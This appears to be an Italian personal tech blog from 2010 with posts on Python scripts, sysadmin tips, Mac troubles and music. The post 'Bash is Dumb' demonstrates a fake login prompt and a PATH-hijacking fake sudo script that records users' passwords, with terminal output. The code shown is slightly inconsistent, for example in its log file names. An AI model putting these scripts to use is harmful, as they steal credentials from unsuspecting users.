30 dic 2010

ElementTree: primi test!

Sto un po' giocherellando con la classe ElementTree, libreria di Python che serve a semplificare la gestione dei documenti XML.

Questo codice scansiona alcuni documenti di esempio e li scrive nella console, strutturati ad albero:

from elementtree.ElementTree import Element
from elementtree.ElementTree import parse
import urllib

proxies = {'http': 'http://proxy:80'}

def scanNode(node, depth):
  for element in node.getchildren():
    if element.text and element.text.strip():
      print "  "*depth + element.tag, "(" + element.text + ")"
    else:
      print "  "*depth + element.tag
    if element.getchildren():
      scanNode(element, depth+1)

def parseTree(url):
  print "--] Parsing di " + url + " [--"
  tree = parse(urllib.urlopen(url, proxies=proxies))

  print tree.getroot().tag
  scanNode(tree.getroot(), 2)
  print

def main():
  parseTree("http://www.w3schools.com/xml/note.xml")
  parseTree("http://www.w3schools.com/xml/cd_catalog.xml")
  parseTree("http://www.w3schools.com/xml/plant_catalog.xml")
  parseTree("http://www.w3schools.com/xml/simple.xml")
  
if __name__ == "__main__":
    main()

Semplice semplice, ma lo scrivo qui perché mi può sempre servire!

19 dic 2010

Unix e le password di default...

Qualche settimana fa ricevo un avviso automatico che segnala un probabile malfunzionamento ad un apparato hardware che abbiamo in sala macchine.
Ora, generalmente non mi occupo di queste cose, ma visto che in ufficio non c'era nessun altro prendo in carico la segnalazione e chiamo l'assistenza:

Tecnico help desk: Sì, sembrerebbe proprio un guasto hardware, se è così faccio subito uscire un tecnico per la riparazione. Possiamo fare un po' di troubleshooting per avere conferma che si tratti di proprio un guasto hardware?
Io: Certamente... ma mi deve spiegare come fare perché non è un apparato che conosco o che gestisco io!
Tecnico help desk: Allora intanto si colleghi alla console....
Io: Va bene! Mi dia un attimo di tempo che devo recuperare la password...
Tecnico help desk: La password? Nessun problema, quella gliela posso comunicare io!
Io: Ah, però! Conoscete le password degli apparati dei clienti? Che efficienza! :-)
Tecnico help desk: Allora, le detto le credenziali: l'utente è root, e la password abcde123
Io: Ehm, abcde123? Ma cos'è? La password di default?? Perché c'è una leggera probabilità che nella nostra azienda le password di default vengano modificate...
Tecnico help desk: (silenzio)
Io: Ehm, ma è la prima volta che vi capita un cliente che modifica la password dei propri apparati?
Tecnico help desk: (silenzio)

Una volta recuperata la vera password, ed una volta confermato il guasto hardware, nel giro di un paio d'ore arriva il tecnico on site:

Tecnico on site: Questo è il pezzo da sostituire. Ora dobbiamo entrare nella console e disabilitare quello guasto prima di scollegarlo.
Io: OK, mi collego alla console...
Tecnico on site: Perfetto... l'utente è root e la password è abcde123....

Sistemato anche questo, chiamo il nostro consulente e chiedo conferma che il problema sia stato risolto:

Consulente: Allora! Prima di lasciare andare via il tecnico, puoi fare qualche controllo?
Io: Certamente! Basta che mi spieghi come fare...
Consulente: Allora, ti colleghi alla console, la password è abcde123 e....

Uhm! Ho l'impressione che nel mondo Unix la sicurezza non sia sempre presa molto sul serio...

16 dic 2010

Bejeweled: determinare se ci sono ancora mosse disponibili

Come determinare se in una partita di Bejeweled ci sono ancora delle mosse disponibili?

L'input della funzione è una matrice MxN in cui il valore rappresenta uno dei colori.

Per stabilire se ci siano ancora mosse possibili, ho pensato sia sufficiente ricercare nella matrice se ci sono tre pattern fissi, e naturalmente i relativi pattern inversi, che però sono già compresi se effettuo il controllo in tutte e quattro le direzioni.

I pattern sono i seguenti:

XXyX

XyX
 X

XXy
  X

Ed y deve essere diversa da X, oppure si può ignorare? Io voglio che sia diversa, casomai basta eliminare il confronto!

Poi ho pensato che invece di verificare a mano se le coordinate sono fuori dalla matrice, ci starebbe bene un bel TRY...EXCEPTION! Provo a cercare il pattern... se viene sollevata un'eccezione, vuol dire che il pattern non c'è! Spero non sia un sacrilegio... sono pigro lo so... però è il modo migliore per rendere leggibile il codice!

Questo è il mio codice Python... linguaggio che ancora non conosco bene! Quindi ci saranno sicuramente dei giganteschi errori di stile (ehm ad esempio non c'è un modo migliore per gestire le matrici??) ma speriamo ci siano solo quelli, e che la soluzione sia abbastanza corretta!

# esempio di matrice di colori
matrice = [ [1, 1, 2, 4, 4],
            [1, 2, 9, 3, 4],
            [8, 9, 8, 9, 8],
            [7, 6, 5, 4, 3] ]

altreMosse = False

def cella(direzione, a, b):
  # restituisce la cella a,b della matrice, ruotata secondo la direzione
  try:
    if   direzione==0: return matrice[a][b]
    elif direzione==1: return matrice[len(matrice)-1-a][b]
    elif direzione==2: return matrice[a][len(matrice[0])-1-b]
    elif direzione==3: return matrice[len(matrice)-1-a][len(matrice[0])-1-b]
  except:
    raise Exception

def Pattern1(direzione, a, b):
  # ricerca il pattern XXyX
  try:
    return (cella(direzione, a, b) == cella(direzione, a, b+1) and
            cella(direzione, a, b) != cella(direzione, a, b+2) and
            cella(direzione, a, b) == cella(direzione, a, b+3))
  except:
    return False

def Pattern2(direzione, a, b):
  # ricerca il pattern XyX
  #                     X
  try:
    return (cella(direzione, a, b)!=cella(direzione, a, b+1) and
            cella(direzione, a, b)==cella(direzione, a+1, b+1) and
            cella(direzione, a, b)==cella(direzione, a, b+2))
  except:
    return False

def Pattern3(direzione, a, b):
  # ricerca il pattern XXy
  #                      X
  try:
    return (cella(direzione, a, b)==cella(direzione, a, b+1) and
            cella(direzione, a, b)!=cella(direzione, a, b+2) and
            cella(direzione, a, b)==cella(direzione, a+1, b+2))
  except:
    return False

for direzione in range(0, 4):
  for a in range(0, len(matrice)):
    for b in range(0, len(matrice[0])):
      altreMosse = altreMosse or Pattern1(direzione, a, b)
      altreMosse = altreMosse or Pattern2(direzione, a, b)
      altreMosse = altreMosse or Pattern3(direzione, a, b)

print "Ancora mosse? ", altreMosse

1 nov 2010

Shining Deep

I see dark around me
Blue skies turn black into the gloom
Your eyes shining through the night
Angel tears, and demon love

Living on, long before the sunrise
Getting lost in a world of fantasies
Until the morning bright light
steals away all our fancy dreams

Sometimes I feel that I'm going nowhere
Waiting for something I can never have
Lost in time, can you feel my heart beating
How will it go? I can barely see my way

I don't know how to escape from here
A cold wind blows down the avenue
But don't mind, we will find our way
A way out to be pleased again

Lasting sorrow, don't look back and wonder
Keep on moving, dancing all night long
And still I can't forget the words you said
Whispers in my ears

Sometimes I feel that I'm going nowhere
Searching for something I can never have
Lost in time, can you feel my heart beating
How will it go? I can barely see my way

What should we do to live on?
What should we do, just killing time?
What should we do to raise our heads?
What should we do just to survive?

I've seen the end, I can't hold on
Can't find my way back anymore
And silver light still shines so bright
And shines so deep inside my eyes

27 ott 2010

Process Killer

Quando un programma va in crash la colpa viene attribuita sempre al programmatore. Mentre quando un programma si blocca, o è troppo lento, è di certo per qualche misfatto dell'amministratore di sistema. Anche se magari il programma è scritto con i piedi ed è propenso all'inchiappettamento di tutti i server su cui gira.

Per ristabilire un po' di giustizia divina, ho pensato di killare senza pietà tutti i processi che utilizzano ferocemente la CPU per più di un determinato tempo. Metodo barbaro, ma molto in voga negli Unix dei vecchi tempi... e non solo.

Naturalmente nel mio caso si tratta di processi che dovrebbero essere molto leggeri ma per qualche strana ragione si incastrano e finiscono per utilizzare il processore a pieno regime, infastidendo anche tutti gli utenti di programmi buoni e gentili.

Come punto di partenza, direi di dare un'occhiata all'output del comando pslist, che lista tutti i processi in esecuzione su di una macchina (locale o remota, a patto di avere i privilegi necessari):

pslist v1.29 - Sysinternals PsList
Copyright (C) 2000-2009 Mark Russinovich
Sysinternals

Process information for ER-MEJO:

Name                Pid Pri Thd  Hnd   Priv        CPU Time    Elapsed Time 
Idle                  0   0   2    0      0    23:05:50.623     0:00:00.000
System                4   8 114 4338     52     0:11:32.114    28:42:03.487
smss                252  11   3   30    340     0:00:00.171    28:42:03.487
csrss               348  13   9 1033   2744     0:00:06.645    28:41:51.132
wininit             416  13   3   79    992     0:00:00.093    28:41:50.414
explorer           4448   8  36 1252  69768     0:07:39.797    28:41:04.882
iexplore           3772   8  13  382   7172     0:00:04.539     3:14:05.766
iexplore           5788   8  22  704  97632     0:05:51.345     3:14:02.648
PsList             4136  13   1  151   1980     0:00:00.187     0:00:00.172

le cui colonne interessanti sono le prime due (nome del process e PID) e le ultime due:

Elapsed Time: tempo totale di esecuzione del processo
CPU Time: tempo effettivamente utilizzato dal processo

ad esempio explorer è in esecuzione da 28 ore e 41 minuti, e durante questo periodo ha utilizzato la cpu per 7 minuti e 39 secondi. Proviamo a rilanciare il psexec e a vedere che cosa succede:

Name                Pid Pri Thd  Hnd   Priv        CPU Time    Elapsed Time 
Idle                  0   0   2    0      0    23:06:42.540     0:00:00.000
System                4   8 114 4342     52     0:11:32.426    28:42:33.493
smss                252  11   3   30    340     0:00:00.171    28:42:33.493
csrss               348  13   9 1050   2744     0:00:06.645    28:42:21.138
wininit             416  13   3   79    992     0:00:00.093    28:42:20.420
explorer           4448   8  42 1295  71484     0:07:40.234    28:41:34.888
iexplore           3772   8  13  389   7600     0:00:04.617     3:14:35.772
iexplore           5788   8  23  716  95520     0:05:53.513     3:14:32.654
PsList             1792  13   1  151   1988     0:00:00.171     0:00:00.156

il comando è stato lanciato circa 30 secondi dopo il primo, ed infatti tutto gli Elapsed Time sono aumentati circa di 30 secondi, processo PsList escluso ma se osserviamo bene si tratta di un nuovo processo con un nuovo PID.

Anche la colonna CPU Time è variata per alcuni processi, e se dividiamo il delta del CPU Time per il delta dell'Elapsed Time possiamo ottenere... la percentuale di utilizzo del processore di questo processo relativamente la periodo di tempo intercorso tra i due lanci del comando psexec.

Da notare che se la macchina dispone di più processori nel Task Manager di Windows vedremo la percentuale riferita a tutte le CPU: un processo che gira su di un singolo processore non potrà quindi superare il 25% di CPU se la macchina dispone di 4 processori.

Con il comando psexec invece non ci dobbiamo preoccupare del numero di processori che ha la macchina: il tempo di CPU utilizzato diviso il tempo di CPU avuto è disposizione può variare da zero a uno ed è l'utilizzo effettivo del signolo processore.

Ho scritto questo codice in Python che controlla ad intervalli regolari un elenco di server, e che giustizia tutti i processi che durante questo periodo di tempo hanno consumato più del 90% della propria CPU:

from __future__ import division
import subprocess
import re
import time

word = dict()
pausa = 30
servers = ('citrix01', 'citrix02', 'citrix03', 'server', 'server-2')

def milliSeconds(time):
  tm = re.match("(\d*)\:(\d*)\:(\d*)\.(\d*)", time)
  if tm:
    return long(tm.group(1)) * 60*60*1000 + long(tm.group(2)) * 60*1000 + long(tm.group(3)) * 1000 + long(tm.group(4))
  else:
    return 0

def getProcess(server, nome):
  pslist = subprocess.Popen('"c:\program files\utils\pslist.exe" \\\\' + server + ' ' + nome, shell=False, stdout=subprocess.PIPE)

  for line in pslist.stdout:
    proc = re.match("^(\w+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+(\d+)\s+([\w\:\.]+)\s+([\w\:\.]+)", line)
    if proc:
      serverPid = server + '.' + proc.group(2)
      if serverPid in word:
        if (milliSeconds(proc.group(7))-milliSeconds(word[serverPid][1]))/(milliSeconds(proc.group(8))-milliSeconds(word[serverPid][2]))>0.90:
          subprocess.Popen('"c:\program files\utils\pskill.exe" \\\\' + server + ' ' + word[serverPid][4])
      else:
        if proc.group(1) <> "Idle" and proc.group(1) <> "System":
          word[serverPid] = [proc.group(1), proc.group(7), proc.group(8), server, proc.group(2)]

def main():
  while True:
    for server in servers:
      getProcess(server, 'winword')
      time.sleep(pausa)

if __name__ == "__main__":
    main()

da sistemare per bene... e da usare con opportuna cautela!

25 ott 2010

QR Code

Bella l'idea di utilizzare codici a barre a due dimensioni, detti Codici QR, per memorizzare vari tipi di informazioni comprese URL:


chissà se in casa Google si stanno attrezzando per interpretare questi codici ed includerli nel PageRank?
E simpatica anche l'idea di Semapedia.org che propone di linkare il mondo fisico a quello virtuale!

Ma... cliccare su link a caso su di un browser non è mai una stata buona idea. Non è che un giorno tutto ciò comporterà qualche problema di sicurezza? O_o
Meglio pensarci per tempo, che non si sa mai!

Dati oggettivi ed interpretazione

Riguardo ai grafici che riportano l'andamento delle temperature della terra e che vengono presentati al grande pubblico, una cosa importante da sapere è che per ottenerli non è sufficiente inserire tutti i dati a disposizione su di un foglio Excel, cliccare su "Inserisci Grafico", e vedere che cosa ne viene fuori.
I grafici che vediamo sono il risultato di anni di analisi e pulizia.

Mi ricordo un fatto curioso e poco conosciuto, e cioè che tutti i grafici delle temperature degli ultimi anni presentavano un rapido aumento intorno alla metà degli anni 40, seguiti da una altrettanto rapida diminuzione.
Questa variazione era insolita, gli scienziati l'hanno considerata come un dato sporco o una anomalia, ed hanno deciso di "eliminarla".

Tutti i grafici ufficiali sono pertanto stati ripuliti e non presentano questo andamento.

Il procedimento seguito dagli scienziati, naturalmente, è corretto: i dati grezzi sono per loro natura pieni di sporchi, errori, rumore... ed il loro compito è di riuscire ad isolare il vero andamento delle temperature escludendo tutte le sporcizie; il picco in questione è stato isolato perché "stonava" e non pareva avere spiegazione logica, tuttavia eliminare dei dati ad intuito, senza sapere bene il perché, è sempre una sconfitta.

Leggevo su Le Scienze di Aprile 2009 un articolo in cui si dava finalmente una spiegazione a questo picco anomalo.
Da una analisi più approfondita si è visto che l'aumento riguardava infatti le temperature dei mari. Durante gli anni della guerra le navi di rilevazione erano soprattutto statunitensi mentre le navi internazionali avevano diminuito le rilevazioni.

Nelle navi internazionali la temperatura delle acque veniva rilevata tramite secchi calati in acqua che si raffreddano se portati in superficie, mentre nelle navi statunitensi si misurava la temperatura dell'acqua di raffreddamento dei motori, che è più calda della vera temperatura del mare.

Le temperature, naturalmente, erano già state corrette per tenere conto di questo fatto, ma dopo questo studio si è visto che la correzione da applicare non era precisa e doveva essere modificata.

Da un lato è stato dimostrato che l'intuizione è stata esatta e che quindi bene avevano fatto gli scienziati ad eliminare questo dato.

Da un altro punto di vista significa che anche la scienza, pur con dati assolutamente oggettivi a disposizione, è sempre e comunque soggetta all'intuito ed all'interpretazione umana.

Scegliere i colori: programmatori e buon gusto!

La scorsa settimana cercavo un paio di mensole colorate da abbinare ad un mobiletto da mettere in sala. Non trovando nulla di interessante ho provato a chiedere un parere ad un dipendente Ikea, il quale mi ha mostrato delle mensole più larghe rispetto al mobiletto, con un altro spessore, e di colore simile ma diverso.

Credo che i programmatori, quando devono scegliere i colori per i propri programmi o per le pagine web, siano come i dipendenti Ikea: completamente privi di ogni buon gusto.

Capita spesso di vedere utilizzate combinazioni estreme di colori: serve un rosso, un verde, od un blu? Niente di più semplice, si sceglie un buon #ff000 per il rosso, un #00ff00 come verde, e per finire un buon blu #0000ff:


ma questi colori sono pesanti, difficili da combinare, ed assolutamente stonati. La prima regola da ricordare è tutte le combinazioni di colori più estreme devono sempre essere evitate!

Molto meglio utilizzare qualche combinazione più leggera, come ad esempio questa con codice #74A697, #FC8626 e #15766F:


Questi colori stancano di meno e si combinano più facilmente. Ma come scegliere una buona palette di colori?

Un grafico probabilmente non ha nemmeno bisogno di porsi questa domanda, ma un trucco che può usare anche un non grafico consiste nello scegliere una foto colorata, ed estrarre da essa una combinazione di colori che ci piace:


prendiamo un po' della cabina telefonica... ed un altro po' del taxi giallo... ecco qui i nostri amici #e02a2f, #f6d06d e #fbab20:


che possono essere combinati in questo modo:

Data Euribor 1 mese Euribor 2 mesi Euribor 3 mesi Euribor 6 mesi
18 ottobre 2010 0,78%1,00%1,22%1,49%
19 ottobre 2010 0,79%1,01%1,23%1,50%
20 ottobre 2010 0,81%1,02%1,24%1,51%
21 ottobre 2010 0,82%1,03%1,25%1,51%
22 ottobre 2010 0,82%1,03%1,25%1,52%

Naturalmente è solo un esempio, ma come punto di partenza va sempre bene.
Poi magari... un giorno lontano... sistemerò anche i colori di questo blog!

15 ott 2010

Negare Group Policy ad un utente o gruppo

Applicare una policy di dominio ad un numero ristretto di utenti è molto semplice: nella sezione Security Filtering del tab Scope si seleziona l'elenco dei gruppi a cui tale policy va applicata:


ma per applicare una policy a tutti tranne ad un singolo utente? Gestire il tutto con i gruppi è possibile, ma spesso complicato. Bisogna quindi ricorrere ad un barbatrucco!

Ci spostiamo nel tab Delegation, aggiungiamo l'utente (od il gruppo) da escludere, e nelle proprietà avanzate togliamo i permessi di lettura della policy:


See you soon!

7 set 2010

Crontab condizionale

Ho la necessità di schedulare ad un orario prestabilito un job tramite crontab. All'ora prestabilita vorrei però che venga effettuato un controllo aggiuntivo, come l'esistenza di un file, l'attivazione di un servizio, o altro. Come posso fare?

Il job è inserito nella crontab in questo modo:

0 4 * * * sincronizza_dati.sh

il che indica che ogni mattina alle ore 4 verrà eseguito lo script sincronizza_dati.sh. Vorrei però eseguire questo script solamente se il servizio httpd è attivo.

Il mio script sincronizza_dati.sh potrebbe incominciare in questo modo:

#!/usr/bin/bash

if [ `service httpd status  | awk ' { print $3 } '` = "stopped" ]
then
  echo "Servizio disattivato! Usciamo!"
  exit
fi

echo "Servizio attivato! Procediamo con la sincronizzazione"

e spesso questa è la soluzione migliore (specie se la sincronia per andare a buon fine richiede per davvero che il servizio httpd sia attivo).
Ma se non è questo il caso allora meglio mettere la condizione nel crontab: in questo modo diventa anche più chiaro capire in quali condizioni lo script viene eseguito.

L'unico problema è trovare la sintassi giusta per farci stare tutto il comando su di una sola riga. Ad esempio si può scrivere il comando così:

0 4 * * * if [ `service httpd status  | awk ' { print $5 } '` = "running..." ]; then sincronizza_dati.sh; fi

Magari con l'aiuto di qualche script in perl si può avere una soluzione più pulita (non è bello avere una schifezza di awk sulla tabella crontab) ma... di quello ne parleremo nel prossimo disco!

9 giu 2010

Windows 7 su MacBook

Non posso perdonare a Mac OS X di avermi perso, in seguito ad un crash di sistema, la mia macchina virtuale Windows 7 preferita che facevo girare con VMWare Fusion.

Lo minacciavo da tempo ma credo sia giunto il momento della vendetta! Ho deciso finalmente di installare il sistema in dual boot, con una partizione Mac OS X per giocare, ed una seconda partizione Windows 7 per le cose serie.

Faccio partire BootCamp, e...


argh... che il disco fosse sputtanato non c'erano dubbi altrimenti non avrei perso la mia povera macchina virtuale... ma cosa si può fare ora? Lancio l'Utility Disco e...


bene bene sempre meglio... provo a cliccare sulla riparazione permessi, già sapendo che non risolverà il problema, ma è l'unico bottone interessante che vedo nei paraggi...


ma da dove caspita vengono fuori tutti questi errori? Sono certo di non aver toccato nulla! Naturalmente la risoluzione degli errori di permesso va a buon fine, ma BootCamp non ne vuole sapere di procedere.

Bisogna inserire il DVD 1 del Mac, riavviare il sistema e far partire l'utility di riparazione del disco da lì. La riparazione questa volta funziona, riavvio la carcassa e accedo a BootCamp, che adesso mi partiziona il disco senza fiatare, inserisco il supporto di installazione di Windows 7 e lo faccio partire.

Installazione Windows
Windows 7 si installa alla perfezione! Bene bene... appena avviato lo faccio appartenere al dominio aziendale, così posso iniziare ad accedere ai miei dati ed a configurare i miei programmi, quindi riavvio il sistema. Il più è fatto!

Al riavvio mi chiede di premere CTRL + ALT + CANC e... ma dove caspita è il tasto CANC?
Possibile che, con tutti i tasti inutili che ci sono, Apple ha deciso proprio di eliminare il tasto CANC?
Su Fusion bastava premete FN + CTRL + ALT + BACKSPACE... ma qui? Nulla nulla nulla.

Cerco un po' su Google, e vedo che è necessario installare qualche programma, tipo Remapper, per far funzionare la tastiera come si deve. Non c'è niente da dire, lo zio Jobs se le inventa tutte pur di non farti abbandonare quella ciofeca di Mac OS X!

E così sorgono le classiche domande esistenziali: se sono in dominio non posso accedere al PC, perché mi serve il tasto CTRL, se sono fuori dominio non posso accedere ad Internet perché... con la tastiera sconfigurata non posso digitare la mia password!

Siccome ne so una più del diavolo, mi collego alla macchina tramite software di controllo remoto che nel frattempo si è installato e configurato in automatico grazie alle group policy di dominio (che Dio le benedica), clicco fiducioso sul pulsante "Send CTRL+ALT+CANC to Remote Machine", e vedo che ciò non serve assolutamente a nulla.

Provo ad installare il Remapper da remoto, tramite psexec, ma (come direbbe Pino Rauti) se l'installer non è in formato .MSI so già che non funzionerà.

Domani mi procuro una tastiera USB e vediamo chi è che comanda!

BootCamp Drivers
Collego una bella tastiera USB, digito CTRL + ALT + CANC, e finalmente accedo al sistema.

Installo il Remapper, riavvio, e vedo che non serve a nulla. Nel frattempo penso che non sarebbe male installare i driver di Windows che si trovano nel DVD del Mac.

Noto con gioia che l'installer nel DVD non è compatibile con Windows 7; la versione dell'installer compatibile con Windows 7, presente nel sito Apple, è invece un aggiornamento. Ma come faccio ad installare un aggiornamento se non posso installare la versione precedente?

Installo i drivers a mano, e riavvio.

Manca solo il mouse Apple, che viene rilevato ma non funziona. Per adesso mi accontento di un mouse USB. Certo che Windows 7 e gli applicativi per Windows, a parità di macchina, sembrano davvero molto più veloci.

Vittoria.

Economia idiota della musica digitale

Stavo facendo una riflessione.

Quando voglio comperare un CD mi guardo un po' di prezzi su Internet, acquisto dal miglior offerente, e attendo una o due settimane che mi arrivi il supporto (siccome sono un collezionista non mi piace acquistare musica digitale e trovo che il prezzo dei brani su iTunes sia assolutamente sproporzionato... a volte un CD originale costa meno! Il prezzo adeguato per la musica digitale è: gratis).

Se però si tratta di un CD a cui tengo particolarmente, nell'attesa che il corriere scopra come uscire dalle campagne in cui si è perso cercando la mia via... mi procuro i brani in altro modo...

Non sto facendo una vera e propria violazione di diritti d'autore (almeno, non in questo specifico caso eheh)... diciamo che sto interpretanto i diritti un po' a mio favore... ma alla fine l'artista non ci perde nulla, e la casa discografica nemmeno.

Quindi questo potrebbe essere un esempio di download dal p2p in cui tutti sono felici, e non viene danneggiato nessuno?

Beh... credo che il negozio qui vicino avrebbe qualche cosa da ridire: in fondo vende i CD a qualche euro in più ma quegli euro potrebbero essere giustificati da un servizio migliore (pronta disponibilità del prodotto). Se non ci fosse il p2p i CD più interessanti sarei costretto ad acquistarli lì, costi quel che costi!

Quindi alla fine... chi ci guadagna sono sempre le "grandi multinazionali delle vendite per corrispondenza" (mi piace questo termine ahah) e chi ci perde sono sempre i più piccoli.

Perché faccio queste riflessioni così profonde?

Forse perché ho letto della robaccia come Frekonomics, ed ora sto leggendo il (consigliatissimo) Does IT Matter. O forse perché mi manca un po' di svitol nelle rotelle della testa.

Anche perché, in fondo in fondo, del negoziante qui all'angolo non me ne frega un bel nulla, di CD ne acquisto sempre di meno, e se i CD qui intorno costano di più forse non è perché il negoziante fornisce un servizio migliore, ma probabilmente è soltanto un gran simpaticone.

Il bundle è danneggiato e non può essere aperto

Ieri mentre stavo salvando un documento di testo sul mio MacBook Pro, il fido Komodo Edit se ne è andato in "girandola colorata rotante".

Beh poco male - penso io - basta aprire Monitoraggio Attività ed uccidere l'applicazione e... no, niente! L'applicazione non ne vuole sapere di spirare. Anzi, il morbo della girandola colorata si espande ed arriva ad attaccare pure la stessa finestra del Monitoraggio Attività.

Gli altri programmi funzionano egregiamente, ma poiché il resto del sistema pare dare segni di instabilità e sembra inesorabilmente sempre più inchiappettato, decido che forse è giunto il momento di riavviare l'intero sistema.

Sia chiaro, il riavvio è sempre un'ammissione di fallimento. Ed in tutte le gare di uptime che si tengono abitualmente tra colleghi in ufficio, i miei sistemi Windows vs qualsiasi-altra-cosa ne escono sempre vittoriosi. Ma qui non si parla di Windows, pertanto a mali estremi, estremi rimedi.

Dopo molti interminabili minuti di macinazione, finalmente la baracca di alluminio cessa di grattare e si spegne. Faccio ripartire il tutto, riapro il mio editor di testo quasi preferito (sì mi manca il Notepad++, ma devo ammettere che il Total Commander mi manca più ancora), finisco il lavoro creativo e me ne vado a casa, dove una birra fresca mi attende in frigorifero.

Oggi apro il mio bel VMWare Fusion, con la mia macchina virtuale Windows 7 senza la quale non potrei vivere, con gli applicativi che, pur essendo virtuali, non crashano mai e girano come frecce umiliando tristemente i corrispettivi Mac, e... orrore orrore orrore...:


No, tutti i suggerimenti della KB di VMWare non servono a nulla, tutte le snapshot se ne sono andate per sempre, tutti i consigli dei macachi di passare a Parallels sono (come direbbe Shmidt) bullshit: che sia ora di passare definitivamente a Windows 7?

29 apr 2010

9 apr 2010

Bash is Dumb

Microsoft Windows è universalmente riconosciuto come il sistema operativo più insicuro della storia, e l'infinita quantità di sistemi attaccati con successo da software malvagio ce lo sta giornalmente a confermare. I vari Linux, Unix, e di conseguenza anche Mac, sono considerati intrinsecamente ed architetturalmente più sicuri. Ma sarà davvero così?

Prendendo spunto da qualche idea presa qua e là, ho voluto provare a vedere se il sistema è davvero così inattaccabile come si dice.

Spoofing negli anni 80
L'idea è semplice e banale, oltre che vecchia come il cucco. Come rubare le password agli utenti di *nix senza nemmeno usare tecniche di attacco brute force contro le hash degli utenti (che negli anni '80 erano accessibili a tutti)?
Più semplice che rubare caramelle ad un bambino: basta scrivere un bello script bash come il seguente:

while true; do
  clear
  echo -n Login:
  read login
  echo -n Password:
  read -s password
  echo \"$login\"; \"$password\" >> .password_rubate
  echo Sorry, please try again
done

lanciarlo in esecuzione, e spostarsi dalla postazione lasciando attiva la propria sessione.

Chiaro che tale tecnica di attacco ha delle evidenti controindicazioni: tanto per cominciare è in modalità testo ed oggi quasi tutti preferiscono la grafica; in secondo luogo un utente furbetto potrebbe facilmente accorgersi dell'inganno; in terzo luogo un amministratore lancerà un bel userdel vostroaccount, con gioia ed allegria. E' un tipico esempio di phishing (o spoofing), il classico scherzo da aula informatica universitaria.

Certo è un esempio banale, ma è interessante notare che il sistema non sta facendo nulla per proteggerci!

Spoofing Moderno
Il vecchio attacco potrebbe funzionare per davvero, ma se nessuno ne ha mai tratto grossi benefici forse una ragione c'è. Prendiamo spunto dall'esempio precedente, e saliamo (poco) di livello.

Su piattaforma *nix esistono dei programmi che richiedono l'inserimento di una password per svolgere alcune operazioni; tali programmi potrebbero richiedere la password di un utente non privilegiato, oppure dell'utente root. In questo modo si viene incentivati ad utilizzare account con privilegi limitati, e questo è bene.

Facciamo un breve controllo?

macbook-pro:~ fthiella$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ which su
/usr/bin/su
macbook-pro:~ fthiella$ which sudo
/usr/bin/sudo

naturalmente su e sudo non sono file modificabili, e se scrivere un buon keylogger è complesso, eseguirlo senza privilegi è ancora più complicato. Vediamo se si può sfruttare qualche ingenuità della shell?

macbook-pro:~ fthiella$ touch ~/su
macbook-pro:~ fthiella$ chmod +x ~/su
macbook-pro:~ fthiella$ touch ~/sudo
macbook-pro:~ fthiella$ touch +x ~/sudo
macbook-pro:~ fthiella$ export PATH=~:$PATH
macbook-pro:~ fthiella$ which su
/Users/fthiella/su
macbook-pro:~ fthiella$ which sudo
/Users/fthiella/sudo

argh! Oppure anche questo è divertente:

macbook-pro:~ fthiella$ echo \#\!/bin/bash > ~/su
macbook-pro:~ fthiella$ echo echo Perepèperepè >> ~/su
macbook-pro:~ fthiella$ chmod +x ~/su
macbook-pro:~ fthiella$ echo \#!/bin/bash > ~/sudo
macbook-pro:~ fthiella$ echo echo Prrrrrrrrrrr >> ~/sudo
macbook-pro:~ fthiella$ chmod +x ~/sudo
macbook-pro:~ fthiella$ alias su=~/su
macbook-pro:~ fthiella$ alias sudo=~/sudo
macbook-pro:~ fthiella$ su -
Perepèperepè
macbook-pro:~ fthiella$ sudo apt-get update
Prrrrrrrrrrr

did you get the point?

Esempio
Beh supponiamo di riuscire a convincere un utente scemotto ad eseguire il seguente scriptino. Come convincerlo? Un po' di ingegneria sociale... un programma che sembra utile ma contiene qualche funzioncina non documentata... un bug di qualche applicativo (es. FireFox) anche se eseguito con privilegi limitati.

#!/bin/bash
if [[ `which sudo` == /usr/* ]]
then
  echo "echo -n \"Password:\"" > ~/sudo
  echo "read -s password" >> ~/sudo
  echo "echo \"\$password\" >> ~/.password_rubate" >> ~/sudo
  echo "echo \"\$password\" | `which su` -S \$1 \$2 \$3 \$4 \$5 \$6 \$7 \$8 \$9" >> ~/sudo
  chmod +x ~/sudo
  export PATH=~:$PATH
fi

funzionerà?

macbook-pro:~ fthiella$ echo $PATH
/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ . ./attack.sh
macbook-pro:~ fthiella$ echo $PATH
/Users/fthiella:/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin:/usr/X11/bin
macbook-pro:~ fthiella$ cat ~/sudo
echo -n "Password:"
read -s password
echo "$password" >> ~/.steal_password
echo "$password" | /usr/bin/sudo -S $1 $2 $3 $4 $5 $6 $7 $8 $9
macbook-pro:~ fthiella$ sudo ls
Password:
è interessante notare che la richiesta di password arriva dal finto sudo, e non da quello vero. Mediante semplici impostazioni che non richiedono privilegi elevati, possiamo intercettare con gaudio le password del sistema.

Conclusioni
Gli esempi sono talmente banali che molti si domanderanno se si tratti sul serio di un problema architetturale di sicurezza. Certo per metterlo in pratica con successo ci vuole molto altro, ma un problema è difficile negare che non ci sia.

Forse impedire agli utenti di creare eseguibili nelle proprie aree aiuta molto (ma bisogna lavorare molto bene con i privilegi, e diventa un lavoro molto complesso).

Naturalmente queste tecniche non funzionano in modalità grafica, ma se la protezione non viene garantita dal sistema operativo, ho come il sospetto che qualche trucco funzionante lo si trovi comunque.

2 apr 2010

Utilizzare un pedale di espressione con il G-Major

Il G-Major è un multieffetto digitale prodotto dalla t.c. Electronic. Oggi si tratta di un modello fuori produzione, sostituito dal G-Major2, ma una decina di anni fa si è distinto per la sua trasparenza, per gli effetti di buona qualità, e per disporre di un doppio circuito di relay con cui simulare due interruttori (controllare un amplificatore valvolare via MIDI non ha prezzo).
Sfortunatamente le manopole sono come dire un tantino "delicate", anche se il buon RealMajor mi ha salvato la vita in parecchie occasioni.

Se con gli Invaders non l'ho mai sfruttato più di tanto (un filo di compressore, chorus e riverbero sui puliti; quasi zero riverbero sui crunch; poco delay sugli assoli), con i nuovissimi E-Liars invece mi serve un po' di tutto: chorus, phaser e delay, ma più spesso ancora octaver o pitch shifter. E perchè non un whammy? Anche se un po' vecchiotto il G-Major mi sembra ancora adeguato. Soltanto quando diventerò milionario grazie all'arbitrage probabilmente deciderò di sostituirlo.

Pedale di espressione

